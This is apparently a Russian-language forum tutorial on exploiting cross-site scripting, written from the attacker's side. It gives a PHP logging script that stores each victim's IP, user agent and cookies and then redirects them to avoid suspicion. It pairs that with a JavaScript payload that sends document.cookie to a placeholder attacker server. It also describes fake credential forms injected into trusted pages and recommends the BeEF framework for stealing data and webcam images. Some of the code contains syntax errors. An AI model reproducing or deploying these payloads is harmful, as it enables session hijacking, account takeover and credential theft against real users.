Сразу оговорюсь что js программистом я не являюсь, с js знаком весьма поверхностно и говнокодить какие-то особо хитрые примеры тут не буду. Разберем два основных вектора атак со стандартным кодом. Если знаете какие-то хитрые кейсы с кодом на js или как сделать лучше приведенный мной код – милости прошу, описывайте ниже, будем развиваться вместе )
1. Кража cookies
Самый популярный способ использования XSS-ки - это кража cookies пользователей. Зачем это нужно, думаю обьяснять не стоит. Cookies – своего рода отпечаток и если у вас есть данные определенного пользователя, вы можете выдать себя за него, получив доступ к учетной записи и чувствительным данным. Это же касается и админских куков, при помощи которых можно получить доступ к админ панели и тд.
Как именно это сделать ? Давайте разбираться. Напишем небольшой фрагмент кода, который будет брать cookies каждого обратившегося браузера и высылать их нам на сервер
Для начала нам понадобится сервер, на который мы и будем писать логи. Я буду использовать старую добрую связку JS(непосредственно для атаки) и PHP(для приема и сохранения данных).
Работать это будет следующим образом. При активации нашего вредоносного кода, будет формироваться запрос на наш сервер, отправка всех нужных нам данных, а потом редирект на какую-либо страницу, дабы не вызывать подозрений.
Начнем с сервера. Создаем на сервере php файл index.php со следующим содержимым:
PHP:
<?php
header(“Location:https://google.com”);
$result = “[“.date(“jS F Y h:i:s A”).”] IP: ”.$_SERVER[‘REMOTE_ADDR’].” || user_Agent: “.$_GET[‘useragent’].” || user_cookies: ”$_GET[‘cookie’];
$result_file = fopen('log.txt','a');
fwrite($result_file,$result."\n\n");
?>
Разберем код:
PHP:
header(“Location:http://google.com”);
Эта строчка добавляет заголовок с редиректом. Дело в том, что после эксплуатации уязвимости, пользователь будет отправлять запрос на наш сайт, а значит после отправки запроса он попадет именно на него. Нам это не нужно, поэтому редиректим его на какую-либо страницу в интернете. В моем случае, для примера, это гугл, но вы можете подставить туда например домен сайта, на котором нашли уязвимость, тогда пользователя просто перекинет обратно на сайт.
PHP:
$result = “[“.date(“jS F Y h:i:s A”).”] IP: ”.$_SERVER[‘REMOTE_ADDR’].” || user_Agent: “.$_GET[‘useragent’].” || user_cookies: ”$_GET[‘cookie’];
Эта строка формирует переменную result, в которую мы и будем записывать все данные. Для начала, так как желательно иметь возможность понимать что и когда мы будем записывать туда время, в которое жертва попалась. Время будет в формате “Число Месяц Год часы:минуты:секунды до\после полудня” Для удобства обернем дату в символы []. Далее записываем в переменную IP адресс жертвы, в php он хранится в переменной $_SERVER[‘REMOTE_ADDR’]. После этого формируем две переменные, которые будут передаваться на сервер через GET запрос. Это useragent жертвы и непосредственно cookie. Их мы будем получать уже при помощи внедренного js.
PHP:
$result_file = fopen('log.txt','a');
Создаем файл log.txt с полными правами доступа, в который непосредственно будем записывать все логи.
PHP:
fwrite($result_file,$result."\n\n");
Записываем переменную result в лог-файл.
С серверной частью разобрались, теперь непосредственно пэйлоад. Для атаки нам нужно будет встроить в уязвимое веб-приложение следующий код:
JavaScript:
document.location="yoursite.com/index.php?cookie="+document.cookie+'&useragent='window.navigator.userAgent;
Этот код формирует запрос на наш сервер (yoursite.com нужно заменить на адрес вашего сервера, куда вы закинули php файл) и отправляет туда useragent и cookie посредством GET запроса. После этого пользователя перекидывает к нам на сайт, тут же редиректит на сайт, который мы указали в header в php файле, а у нас на сервере появляется файл, примерно со следующим содержимым:
[20 November 2020 12:01:10 AM] IP: 127.0.0.1 || user_Agent: Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/12345 Firefox/70.0 || user_cookies: cookie1=’test1’; cookie2=’test2’Теперь у нас есть айпишник жертвы, юзерагент и куки. Профит )
2. Подмена содержимого страницы (СИ-атаки)
Еще один вектор – это СИ атаки. Если у нас есть возможность встраивать свой код на страницу, мы можем изменить содержимое страницы фактически полностью. Например создать форму, которая будет запрашивать креды для доступа к странице. Так как сайт вполне довереный, подозрений у пользователя не возникнет, он введет данные, которые впоследствии благополучно уйдут к нам в открытом виде. Так же можно выманить пользователя на другой, подконтрольный нам сайт, да и в целом возможности этого вектора ограничиваются только вашей фантазией. Так как вектор достаточно ситуативный и в каждом кейсе уникален, думаю какие-либо примеры здесь приводить бессмысленно, каждый сам решает что конкретно он хочет сделать со страницей. Данный вектор больше относится к HTML-инъекции, но как мы помним XSS и HTML-inj идут рядом, поэтому вектор имеет место быть.
Немного дополнительной инфы по постэксплуатации:
Разумеется вручную прописывать весь код, для того, чтобы совершать определенные действия, как в первом примере, не обязательно. Есть инструменты, которые могут здорово упростить жизнь. Например для постэксплуатации существует такой фреймворк, как BeeF XSS framework. Он работает по достаточно простому приницпу. Фреймворк запускается на сервере, далее формируется ссылка на скрипт, которую необходимо подключить на целевом веб сайте. Фреймворк имеет удобный веб-интерфейс и обширные возможности, от вывода алерт в браузер пользователя, до снимков экрана, получения изображения с веб-камеры и кражи чувствительных данных. Если вы всерьез решите разобраться в теме, рекомендую ознакомится с фреймворком.
Для поиска же уязвимостей можно использовать множество инструментов. Самые популярные – это XSSstrike и BurpSuite. Первый хорош для поиска уязвимых мест, второй здорово помогает при раскрутке, ну и функция сканера в burp тоже есть, разумеется.
Все описаные выше инструменты входят в состав Kali linux, BlackArch и ParrotOS.